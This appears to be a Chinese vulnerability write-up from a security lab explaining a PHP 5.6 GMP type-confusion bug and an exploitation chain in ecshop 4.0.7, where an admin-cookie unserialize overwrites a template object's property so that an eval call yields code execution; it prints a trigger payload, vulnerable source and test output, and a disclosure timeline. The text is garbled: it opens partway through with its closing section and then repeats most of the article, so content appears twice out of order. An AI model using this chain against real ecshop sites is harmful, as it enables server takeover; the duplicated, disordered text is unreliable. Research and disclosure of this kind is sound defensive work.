    $smarty->assign('shipping', $shipping);

    $smarty->display('print.htm');
...

而这里我们主要把视角集中在display方法上。

粗略的浏览下display方法的逻辑大致是

请求相应的模板文件
-->
经过一系列判断,将相应的模板文件做相应的编译
-->
输出编译后的文件地址

比较重要的代码会在make_compiled这个函数中被定义

function make_compiled($filename)
    {
        $name = $this->compile_dir . '/' . basename($filename) . '.php';

        ...

        if ($this->force_compile || $filestat['mtime'] > $expires)
        {
            $this->_current_file = $filename;
            $source = $this->fetch_str(file_get_contents($filename));

            if (file_put_contents($name, $source, LOCK_EX) === false)
            {
                trigger_error('can\'t write:' . $name);
            }

            $source = $this->_eval($source);
        }

        return $source;
    }

当流程走到这一步的时候,我们需要先找到我们的目标是什么?

重新审视cls_template.php的代码,我们可以发现涉及到代码执行的只有几个函数。

   function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
    {
        $pa = $this->str_trim($val);
        foreach ($pa AS $value)
        {
            if (strrpos($value, '='))
            {
                list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
                if ($b{0} == '$')
                {
                    if ($type)
                    {
                        eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
                    }
                    else
                    {
                        $para[$a] = $this->get_val(substr($b, 1));
                    }
                }
                else
                {
                    $para[$a] = $b;
                }
            }
        }

        return $para;
    }

get_para只在select中调用,但是没找到能触发select的地方。

然后是pop_vars

    function pop_vars()
    {
        $key = array_pop($this->_temp_key);
        $val = array_pop($this->_temp_val);

        if (!empty($key))
        {
            eval($key);
        }
    }

恰好配合GMP我们可以控制$this->_temp_key变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。

在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码

order_info.htm.php

image.png

在遍历完表单之后,正好会触发pop_vars。

这样一来,只要我们控制覆盖cls_template变量的_temp_key属性,我们就可以完成一次getshell

最终利用效果

微信图片_20200709101430.png

Timeline

· 2020.03.31 发现漏洞。

· 2020.03.31 将漏洞报送厂商、CVE、CNVD等。

· 2020.07.08 符合90天漏洞披露期,公开细节。

作者:LoRexxar'@知道创宇404实验室

时间:2020年3月31日

English Version: https://paper.seebug.org/1268

中文地址:https://paper.seebug.org/1267/

本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。

前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。

https://hackerone.com/reports/198734

以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。

GMP类型混淆漏洞

· https://bugs.php.net/bug.php?id=70513

漏洞利用条件

· php 5.6.x

· 反序列化入口点

· 可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)

漏洞详情

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
    ...
    ALLOC_INIT_ZVAL(zv_ptr);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
        || Z_TYPE_P(zv_ptr) != IS_ARRAY
    ) {
        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
        goto exit;
    }

    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
        zend_hash_copy(
            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
        );
    }

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
    zend_object *zobj;
    zobj = Z_OBJ_P(object);
    if (!zobj->properties) {
        rebuild_object_properties(zobj);
    }
    return zobj->properties;
}

从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。

__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。

或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。

首先我们来看一段测试代码

image.png

在代码中我展示了多种不同情况下的环境。

让我们来看看结果是什么?

array(1) {
  [0]=>
  &int(1)
}
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(1)
  }
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

我成功修改了第一个声明的对象。

但如果我将反序列化的类改成b会发生什么呢?

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很显然的是,并不会影响到其他的类变量

array(1) {
  [0]=>
  &object(GMP)#4 (4) {
    ["aa"]=>
    string(2) "hi"
    ["bb"]=>
    string(2) "hi"
    [0]=>
    object(b)#5 (1) {
      ["ryat"]=>
      &object(GMP)#4 (4) {
        ["aa"]=>
        string(2) "hi"
        ["bb"]=>
        string(2) "hi"
        [0]=>
        *RECURSION*
        ["num"]=>
        string(2) "32"
      }
    }
    ["num"]=>
    string(2) "32"
  }
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#6 (0) {
}

如果我们给class b加一个__Wakeup函数,那么又会产生一样的效果。

但如果我们把wakeup魔术方法中的变量设置为2

class obj{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 2;
    }}

返回的结果可以看出来,我们成功修改了第二个声明的对象。

array(1) {
  [0]=>
  &int(2)
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (4) {
  ["ryat"]=>
  int(1)
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(2)
  }
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。

在完成前面的试验后,我们可以把漏洞的利用条件简化一下。

如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的__wakeup魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。

如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

真实世界案例

在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。

漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。

https://hackerone.com/reports/198734

这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。

漏洞环境

· ecshop 4.0.7

· php 5.6.9

反序列化漏洞

首先我们需要找到一个反序列化入口点,这里我们可以全局搜索unserialize,挨个看一下我们可以找到两个可控的反序列化入口。

其中一个是search.php line 45

...
{
    $string = base64_decode(trim($_GET['encode']));

    if ($string !== false)
    {
        $string = unserialize($string);
        if ($string !== false)
...

这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。

还有一个是admin/order.php line 229

    /* 取得上一个、下一个订单号 */
    if (!empty($_COOKIE['ECSCP']['lastfilter']))
    {
        $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

       ...

后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。

这样一来我们就找到了一个可控并且合适的反序列化入口点。

寻找合适的类属性利用链

在寻找利用链之前,我们可以用

get_declared_classes()

来确定在反序列化时,已经声明定义过的类。

在我本地环境下,除了PHP内置类以外我一共找到13个类

  [129]=>
  string(3) "ECS"
  [130]=>
  string(9) "ecs_error"
  [131]=>
  string(8) "exchange"
  [132]=>
  string(9) "cls_mysql"
  [133]=>
  string(11) "cls_session"
  [134]=>
  string(12) "cls_template"
  [135]=>
  string(11) "certificate"
  [136]=>
  string(6) "oauth2"
  [137]=>
  string(15) "oauth2_response"
  [138]=>
  string(14) "oauth2_request"
  [139]=>
  string(9) "transport"
  [140]=>
  string(6) "matrix"
  [141]=>
  string(16) "leancloud_client"

从代码中也可以看到在文件头引入了多个库文件

require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');

这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。

在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明

require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;

回到order.php中我们寻找与$smarty相关的方法,不难发现,主要集中在两个方法中

...
    $smarty->assign('shipping', $shipping);

    $smarty->display('print.htm');
...

而这里我们主要把视角集中在display方法上。

粗略的浏览下display方法的逻辑大致是

请求相应的模板文件
-->
经过一系列判断,将相应的模板文件做相应的编译
-->
输出编译后的文件地址

比较重要的代码会在make_compiled这个函数中被定义

function make_compiled($filename)
    {
        $name = $this->compile_dir . '/' . basename($filename) . '.php';

        ...

        if ($this->force_compile || $filestat['mtime'] > $expires)
        {
            $this->_current_file = $filename;
            $source = $this->fetch_str(file_get_contents($filename));

            if (file_put_contents($name, $source, LOCK_EX) === false)
            {
                trigger_error('can\'t write:' . $name);
            }

            $source = $this->_eval($source);
        }

        return $source;
    }

当流程走到这一步的时候,我们需要先找到我们的目标是什么?

重新审视cls_template.php的代码,我们可以发现涉及到代码执行的只有几个函数。

   function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据
    {
        $pa = $this->str_trim($val);
        foreach ($pa AS $value)
        {
            if (strrpos($value, '='))
            {
                list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
                if ($b{0} == '$')
                {
                    if ($type)
                    {
                        eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
                    }
                    else
                    {
                        $para[$a] = $this->get_val(substr($b, 1));
                    }
                }
                else
                {
                    $para[$a] = $b;
                }
            }
        }

        return $para;
    }

get_para只在select中调用,但是没找到能触发select的地方。

然后是pop_vars

    function pop_vars()
    {
        $key = array_pop($this->_temp_key);
        $val = array_pop($this->_temp_val);

        if (!empty($key))
        {
            eval($key);
        }
    }

恰好配合GMP我们可以控制$this->_temp_key变量,所以我们只要能在上面的流程中找到任意地方调用这个方法,我们就可以配合变量覆盖构造一个代码执行。

在回看刚才的代码流程时,我们从编译后的PHP文件中找到了这样的代码

order_info.htm.php

image.png

在遍历完表单之后,正好会触发pop_vars。

这样一来,只要我们控制覆盖cls_template变量的_temp_key属性,我们就可以完成一次getshell

最终利用效果

微信图片_20200709101430.png

Timeline

· 2020.03.31 发现漏洞。

· 2020.03.31 将漏洞报送厂商、CVE、CNVD等。

· 2020.07.08 符合90天漏洞披露期,公开细节。

作者:LoRexxar'@知道创宇404实验室

时间:2020年3月31日

English Version: https://paper.seebug.org/1268

中文地址:https://paper.seebug.org/1267/